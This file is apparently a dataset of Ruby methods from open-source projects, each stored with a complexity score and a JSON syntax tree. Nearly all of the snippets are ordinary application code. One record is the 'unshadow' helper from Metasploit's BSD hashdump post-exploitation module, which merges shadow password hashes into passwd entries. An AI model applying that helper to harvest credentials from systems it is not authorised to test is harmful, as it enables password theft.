\"]},\"+\",{\"type\":\"lvar\",\"children\":[\"compare_string\"]}]}]}]},null]}]},{\"type\":\"send\",\"children\":[null,\"require\",{\"type\":\"str\",\"children\":[\"open3\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Open3\"]},\"popen3\",{\"type\":\"lvar\",\"children\":[\"compare_command\"]}]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"stdin\"]},{\"type\":\"arg\",\"children\":[\"stdout\"]},{\"type\":\"arg\",\"children\":[\"stderr\"]},{\"type\":\"arg\",\"children\":[\"thread\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"error\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"stderr\"]},\"read\"]},\"chomp\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"expect\",{\"type\":\"lvar\",\"children\":[\"error\"]}]},\"to\",{\"type\":\"send\",\"children\":[null,\"eq\",{\"type\":\"lvar\",\"children\":[\"expected_compare_error\"]}]}]}]}]}]}]}","id":"a883b7b7-f85e-42cb-901c-eddce6812023"}
{"repo_name":"manageiq","file_path":"./repos/manageiq/app/models/mixins/authentication_mixin.rb","start_line":159,"raw_source":"def authentication_status_ok?(type = nil)\n    authentication_best_fit(type).try(:status) == \"Valid\"\n  end","complexity_score":4.6,"ast_json":"{\"type\":\"def\",\"children\":[\"authentication_status_ok?\",{\"type\":\"args\",\"children\":[{\"type\":\"optarg\",\"children\":[\"type\",{\"type\":\"nil\",\"children\":[]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"authentication_best_fit\",{\"type\":\"lvar\",\"children\":[\"type\"]}]},\"try\",{\"type\":\"sym\",\"children\":[\"status\"]}]},\"==\",{\"type\":\"str\",\"children\":[\"Valid\"]}]}]}","id":"55e61d74-b06e-4a18-b231-963fdafe3322"}
{"repo_name":"discourse","file_path":"./repos/discourse/lib/auth/default_current_user_provider.rb","start_line":284,"raw_source":"def start_impersonating_user(user)\n    @user_token.update!(\n      impersonated_user_id: user.id,\n      impersonation_expires_at:\n        SiteSetting.experimental_impersonation_time_limit_minutes.minutes.from_now,\n    )\n  end","complexity_score":6.4,"ast_json":"{\"type\":\"def\",\"children\":[\"start_impersonating_user\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"user\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@user_token\"]},\"update!\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"impersonated_user_id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"user\"]},\"id\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"impersonation_expires_at\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"SiteSetting\"]},\"experimental_impersonation_time_limit_minutes\"]},\"minutes\"]},\"from_now\"]}]}]}]}]}","id":"b7b156a6-095d-4e1a-a7f4-84d83fdffa0d"}
{"repo_name":"rubocop","file_path":"./repos/rubocop/lib/rubocop/cop/layout/indentation_style.rb","start_line":109,"raw_source":"def message(_node)\n          format(MSG, type: style == :spaces ? 'Tab' : 'Space')\n        end","complexity_score":4.8,"ast_json":"{\"type\":\"def\",\"children\":[\"message\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"_node\"]}]},{\"type\":\"send\",\"children\":[null,\"format\",{\"type\":\"const\",\"children\":[null,\"MSG\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"type\"]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"style\"]},\"==\",{\"type\":\"sym\",\"children\":[\"spaces\"]}]},{\"type\":\"str\",\"children\":[\"Tab\"]},{\"type\":\"str\",\"children\":[\"Space\"]}]}]}]}]}]}","id":"5599852c-d94f-4717-bf4e-4c85d0c041f1"}
{"repo_name":"openproject","file_path":"./repos/openproject/app/models/queries/projects/filters/name_filter.rb","start_line":36,"raw_source":"def where\n    case operator\n    when \"=\"\n      [\"LOWER(projects.name) IN (?)\", sql_value]\n    when \"!\"\n      [\"LOWER(projects.name) NOT IN (?)\", sql_value]\n    when \"~\", \"**\"\n      [\"LOWER(projects.name) LIKE ?\", \"%#{sql_value}%\"]\n    when \"!~\"\n      [\"LOWER(projects.name) NOT LIKE ?\", \"%#{sql_value}%\"]\n    end\n  end","complexity_score":11.2,"ast_json":"{\"type\":\"def\",\"children\":[\"where\",{\"type\":\"args\",\"children\":[]},{\"type\":\"case\",\"children\":[{\"type\":\"send\",\"children\":[null,\"operator\"]},{\"type\":\"when\",\"children\":[{\"type\":\"str\",\"children\":[\"=\"]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"LOWER(projects.name) IN (?)\"]},{\"type\":\"send\",\"children\":[null,\"sql_value\"]}]}]},{\"type\":\"when\",\"children\":[{\"type\":\"str\",\"children\":[\"!\"]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"LOWER(projects.name) NOT IN (?)\"]},{\"type\":\"send\",\"children\":[null,\"sql_value\"]}]}]},{\"type\":\"when\",\"children\":[{\"type\":\"str\",\"children\":[\"~\"]},{\"type\":\"str\",\"children\":[\"**\"]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"LOWER(projects.name) LIKE ?\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"%\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"sql_value\"]}]},{\"type\":\"str\",\"children\":[\"%\"]}]}]}]},{\"type\":\"when\",\"children\":[{\"type\":\"str\",\"children\":[\"!~\"]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"LOWER(projects.name) NOT LIKE ?\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"%\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"sql_value\"]}]},{\"type\":\"str\",\"children\":[\"%\"]}]}]}]},null]}]}","id":"db232e83-b01e-4997-a057-ac77f0882c02"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/tools/dev/msftidy.rb","start_line":621,"raw_source":"def check_bad_class_name\n    if @source =~ /^\\s*class (Metasploit\\d+)\\s*</\n      warn(\"Please use 'MetasploitModule' as the class name (you used #{Regexp.last_match(1)})\")\n    end\n  end","complexity_score":3.78,"ast_json":"{\"type\":\"def\",\"children\":[\"check_bad_class_name\",{\"type\":\"args\",\"children\":[]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@source\"]},\"=~\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"^\\\\s*class (Metasploit\\\\d+)\\\\s*<\"]},{\"type\":\"regopt\",\"children\":[]}]}]},{\"type\":\"send\",\"children\":[null,\"warn\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Please use 'MetasploitModule' as the class name (you used \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Regexp\"]},\"last_match\",{\"type\":\"int\",\"children\":[1]}]}]},{\"type\":\"str\",\"children\":[\")\"]}]}]},null]}]}","id":"9cbba137-b883-479f-8adb-fc22b1cdd5f7"}
{"repo_name":"fastlane","file_path":"./repos/fastlane/spaceship/lib/spaceship/test_flight/app_test_info.rb","start_line":27,"raw_source":"def beta_review_info\n      Spaceship::TestFlight::BetaReviewInfo.new(raw_data['betaReviewInfo'])\n    end","complexity_score":3.6,"ast_json":"{\"type\":\"def\",\"children\":[\"beta_review_info\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Spaceship\"]},\"TestFlight\"]},\"BetaReviewInfo\"]},\"new\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"raw_data\"]},\"[]\",{\"type\":\"str\",\"children\":[\"betaReviewInfo\"]}]}]}]}","id":"c2e2b494-8330-4d49-97bb-3d0ac7496c57"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/models/integrations/campfire.rb","start_line":118,"raw_source":"def rooms(auth)\n      res = Clients::HTTP.get(\"/rooms.json\", base_uri: base_uri, **auth)\n      res.code == 200 ? res[\"rooms\"] : []\n    end","complexity_score":7.8,"ast_json":"{\"type\":\"def\",\"children\":[\"rooms\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"auth\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"res\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Clients\"]},\"HTTP\"]},\"get\",{\"type\":\"str\",\"children\":[\"/rooms.json\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"base_uri\"]},{\"type\":\"send\",\"children\":[null,\"base_uri\"]}]},{\"type\":\"kwsplat\",\"children\":[{\"type\":\"lvar\",\"children\":[\"auth\"]}]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},\"code\"]},\"==\",{\"type\":\"int\",\"children\":[200]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},\"[]\",{\"type\":\"str\",\"children\":[\"rooms\"]}]},{\"type\":\"array\",\"children\":[]}]}]}]}","id":"2bae686f-8329-407c-94c6-8f262a7136d3"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/spec/features/users/overview_spec.rb","start_line":283,"raw_source":"def click_nav(title)\n    within_testid('super-sidebar') do\n      click_link title\n    end\n    wait_for_requests\n  end","complexity_score":4.1,"ast_json":"{\"type\":\"def\",\"children\":[\"click_nav\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"title\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"within_testid\",{\"type\":\"str\",\"children\":[\"super-sidebar\"]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"click_link\",{\"type\":\"lvar\",\"children\":[\"title\"]}]}]},{\"type\":\"send\",\"children\":[null,\"wait_for_requests\"]}]}]}","id":"6aacda2a-78d8-43e1-a1f2-20cded0cde57"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/workers/ci/delete_unit_tests_worker.rb","start_line":16,"raw_source":"def perform\n      Ci::DeleteUnitTestsService.new.execute\n    end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"perform\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Ci\"]},\"DeleteUnitTestsService\"]},\"new\"]},\"execute\"]}]}","id":"4e7d7ef4-7cc8-40c8-9c02-c892e9440ccf"}
{"repo_name":"rails","file_path":"./repos/rails/activerecord/test/cases/coders/yaml_column_test.rb","start_line":102,"raw_source":"def test_yaml_column_permitted_classes_are_consumed_by_safe_dump\n        if Gem::Version.new(Psych::VERSION) < Gem::Version.new(\"5.1\")\n          skip \"YAML.safe_dump is either missing on unavailable on #{Psych::VERSION}\"\n        end\n\n        coder = YAMLColumn.new(\"attr_name\")\n        assert_raises(Psych::DisallowedClass) do\n          coder.dump([Time.new])\n        end\n      end","complexity_score":11.9,"ast_json":"{\"type\":\"def\",\"children\":[\"test_yaml_column_permitted_classes_are_consumed_by_safe_dump\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Gem\"]},\"Version\"]},\"new\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Psych\"]},\"VERSION\"]}]},\"<\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Gem\"]},\"Version\"]},\"new\",{\"type\":\"str\",\"children\":[\"5.1\"]}]}]},{\"type\":\"send\",\"children\":[null,\"skip\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"YAML.safe_dump is either missing on unavailable on \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Psych\"]},\"VERSION\"]}]}]}]},null]},{\"type\":\"lvasgn\",\"children\":[\"coder\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"YAMLColumn\"]},\"new\",{\"type\":\"str\",\"children\":[\"attr_name\"]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"assert_raises\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Psych\"]},\"DisallowedClass\"]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"coder\"]},\"dump\",{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Time\"]},\"new\"]}]}]}]}]}]}","id":"fc96c902-1088-4386-a19f-0534d26d8a12"}
{"repo_name":"discourse","file_path":"./repos/discourse/script/import_scripts/higher_logic.rb","start_line":86,"raw_source":"def import_categories\n    puts \"\", \"importing categories\"\n\n    categories = mysql_query <<-SQL\n      SELECT DiscussionKey, DiscussionName\n        FROM Discussion\n    SQL\n\n    create_categories(categories) do |category|\n      { id: category[\"DiscussionKey\"], name: category[\"DiscussionName\"] }\n    end\n  end","complexity_score":7.2,"ast_json":"{\"type\":\"def\",\"children\":[\"import_categories\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"puts\",{\"type\":\"str\",\"children\":[\"\"]},{\"type\":\"str\",\"children\":[\"importing categories\"]}]},{\"type\":\"lvasgn\",\"children\":[\"categories\",{\"type\":\"send\",\"children\":[null,\"mysql_query\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"      SELECT DiscussionKey, DiscussionName\\n\"]},{\"type\":\"str\",\"children\":[\"        FROM Discussion\\n\"]}]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"create_categories\",{\"type\":\"lvar\",\"children\":[\"categories\"]}]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"category\"]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"category\"]},\"[]\",{\"type\":\"str\",\"children\":[\"DiscussionKey\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"category\"]},\"[]\",{\"type\":\"str\",\"children\":[\"DiscussionName\"]}]}]}]}]}]}]}","id":"7bb70f70-faa5-4f7d-b166-04e9a033ffe2"}
{"repo_name":"discourse","file_path":"./repos/discourse/plugins/discourse-assign/lib/assigner.rb","start_line":564,"raw_source":"def already_assigned?(assign_to, type, note, status)\n    assignment_eq?(@target.assignment, assign_to, type, note, status)\n  end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"already_assigned?\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"assign_to\"]},{\"type\":\"arg\",\"children\":[\"type\"]},{\"type\":\"arg\",\"children\":[\"note\"]},{\"type\":\"arg\",\"children\":[\"status\"]}]},{\"type\":\"send\",\"children\":[null,\"assignment_eq?\",{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@target\"]},\"assignment\"]},{\"type\":\"lvar\",\"children\":[\"assign_to\"]},{\"type\":\"lvar\",\"children\":[\"type\"]},{\"type\":\"lvar\",\"children\":[\"note\"]},{\"type\":\"lvar\",\"children\":[\"status\"]}]}]}","id":"fa54373d-6da1-4959-849d-d0a291bfc6de"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/lib/rex/post/meterpreter/extensions/stdapi/net/netstat.rb","start_line":30,"raw_source":"def initialize(opts={})\n    self.local_addr   = IPAddr.new_ntoh(opts[:local_addr]).to_s\n    self.remote_addr  = IPAddr.new_ntoh(opts[:remote_addr]).to_s\n    self.local_port   = opts[:local_port]\n    self.remote_port  = opts[:remote_port]\n    self.protocol     = opts[:protocol]\n    self.state        = opts[:state]\n    self.uid          = opts[:uid] || 0\n    self.inode        = opts[:inode] || 0\n    self.pid_name     = opts[:pid_name]\n\n    self.local_addr_str  = sprintf(\"%s:%d\",self.local_addr, self.local_port)\n    if self.remote_port == 0\n      port = \"*\"\n    else\n      port = self.remote_port.to_s\n    end\n    self.remote_addr_str = sprintf(\"%s:%s\",self.remote_addr, port)\n  end","complexity_score":41.8,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[{\"type\":\"optarg\",\"children\":[\"opts\",{\"type\":\"hash\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"local_addr=\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"IPAddr\"]},\"new_ntoh\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"opts\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"local_addr\"]}]}]},\"to_s\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"remote_addr=\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"IPAddr\"]},\"new_ntoh\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"opts\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"remote_addr\"]}]}]},\"to_s\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"local_port=\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"opts\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"local_port\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"remote_port=\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"opts\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"remote_port\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"protocol=\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"opts\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"protocol\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"state=\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"opts\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"state\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"uid=\",{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"opts\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"uid\"]}]},{\"type\":\"int\",\"children\":[0]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"inode=\",{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"opts\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"inode\"]}]},{\"type\":\"int\",\"children\":[0]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"pid_name=\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"opts\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"pid_name\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"local_addr_str=\",{\"type\":\"send\",\"children\":[null,\"sprintf\",{\"type\":\"str\",\"children\":[\"%s:%d\"]},{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"local_addr\"]},{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"local_port\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"remote_port\"]},\"==\",{\"type\":\"int\",\"children\":[0]}]},{\"type\":\"lvasgn\",\"children\":[\"port\",{\"type\":\"str\",\"children\":[\"*\"]}]},{\"type\":\"lvasgn\",\"children\":[\"port\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"remote_port\"]},\"to_s\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"remote_addr_str=\",{\"type\":\"send\",\"children\":[null,\"sprintf\",{\"type\":\"str\",\"children\":[\"%s:%s\"]},{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"remote_addr\"]},{\"type\":\"lvar\",\"children\":[\"port\"]}]}]}]}]}","id":"641cadc5-fe2f-4981-8574-6453abf07b0d"}
{"repo_name":"openproject","file_path":"./repos/openproject/modules/meeting/spec/support/pages/meetings/mobile/show.rb","start_line":48,"raw_source":"def open_participant_form\n      within(meeting_details_container) do\n        click_link_or_button \"Show all\"\n      end\n      expect(page).to have_modal(\"Manage participants\")\n    end","complexity_score":9.1,"ast_json":"{\"type\":\"def\",\"children\":[\"open_participant_form\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"within\",{\"type\":\"send\",\"children\":[null,\"meeting_details_container\"]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"click_link_or_button\",{\"type\":\"str\",\"children\":[\"Show all\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"expect\",{\"type\":\"send\",\"children\":[null,\"page\"]}]},\"to\",{\"type\":\"send\",\"children\":[null,\"have_modal\",{\"type\":\"str\",\"children\":[\"Manage participants\"]}]}]}]}]}","id":"13bcfe6e-84ce-4685-ba5e-b691c23102bb"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/post/bsd/gather/hashdump.rb","start_line":81,"raw_source":"def unshadow(pf, sf)\n    unshadowed = ''\n\n    sf.each_line do |sl|\n      pass = sl.scan(/^\\w*:([^:]*)/).join\n\n      next if pass == '*'\n      next if pass == '!'\n\n      user = sl.scan(/(^\\w*):/).join\n      pf.each_line do |pl|\n        next unless pl.match(/^#{user}:/)\n\n        unshadowed << pl.gsub(/:\\*:/, \":#{pass}:\")\n      end\n    end\n\n    unshadowed\n  end","complexity_score":23.6,"ast_json":"{\"type\":\"def\",\"children\":[\"unshadow\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"pf\"]},{\"type\":\"arg\",\"children\":[\"sf\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"unshadowed\",{\"type\":\"str\",\"children\":[\"\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"sf\"]},\"each_line\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"sl\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"pass\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"sl\"]},\"scan\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"^\\\\w*:([^:]*)\"]},{\"type\":\"regopt\",\"children\":[]}]}]},\"join\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"pass\"]},\"==\",{\"type\":\"str\",\"children\":[\"*\"]}]},{\"type\":\"next\",\"children\":[]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"pass\"]},\"==\",{\"type\":\"str\",\"children\":[\"!\"]}]},{\"type\":\"next\",\"children\":[]},null]},{\"type\":\"lvasgn\",\"children\":[\"user\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"sl\"]},\"scan\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"(^\\\\w*):\"]},{\"type\":\"regopt\",\"children\":[]}]}]},\"join\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"pf\"]},\"each_line\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"pl\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"pl\"]},\"match\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"^\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"user\"]}]},{\"type\":\"str\",\"children\":[\":\"]},{\"type\":\"regopt\",\"children\":[]}]}]},null,{\"type\":\"next\",\"children\":[]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"unshadowed\"]},\"<<\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"pl\"]},\"gsub\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\":\\\\*:\"]},{\"type\":\"regopt\",\"children\":[]}]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\":\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"pass\"]}]},{\"type\":\"str\",\"children\":[\":\"]}]}]}]}]}]}]}]},{\"type\":\"lvar\",\"children\":[\"unshadowed\"]}]}]}","id":"ae5bbc87-ecba-47b3-b637-3d4fac981b98"}
{"repo_name":"rubocop","file_path":"./repos/rubocop/lib/rubocop/cop/bundler/ordered_gems.rb","start_line":43,"raw_source":"def on_new_investigation\n          return if processed_source.blank?\n\n          gem_declarations(processed_source.ast)\n            .each_cons(2) do |previous, current|\n            next unless consecutive_lines?(previous, current)\n            next unless case_insensitive_out_of_order?(gem_name(current), gem_name(previous))\n\n            register_offense(previous, current)\n          end\n        end","complexity_score":18.5,"ast_json":"{\"type\":\"def\",\"children\":[\"on_new_investigation\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"processed_source\"]},\"blank?\"]},{\"type\":\"return\",\"children\":[]},null]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"gem_declarations\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"processed_source\"]},\"ast\"]}]},\"each_cons\",{\"type\":\"int\",\"children\":[2]}]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"previous\"]},{\"type\":\"arg\",\"children\":[\"current\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"consecutive_lines?\",{\"type\":\"lvar\",\"children\":[\"previous\"]},{\"type\":\"lvar\",\"children\":[\"current\"]}]},null,{\"type\":\"next\",\"children\":[]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"case_insensitive_out_of_order?\",{\"type\":\"send\",\"children\":[null,\"gem_name\",{\"type\":\"lvar\",\"children\":[\"current\"]}]},{\"type\":\"send\",\"children\":[null,\"gem_name\",{\"type\":\"lvar\",\"children\":[\"previous\"]}]}]},null,{\"type\":\"next\",\"children\":[]}]},{\"type\":\"send\",\"children\":[null,\"register_offense\",{\"type\":\"lvar\",\"children\":[\"previous\"]},{\"type\":\"lvar\",\"children\":[\"current\"]}]}]}]}]}]}","id":"1597138c-c893-4472-9988-a82ff6d43857"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/relative_positioning/range.rb","start_line":8,"raw_source":"def open_on_left?\n        lhs.nil?\n      end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"open_on_left?\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"lhs\"]},\"nil?\"]}]}","id":"65d15d10-c428-46ce-97e4-48b43f92f8e6"}
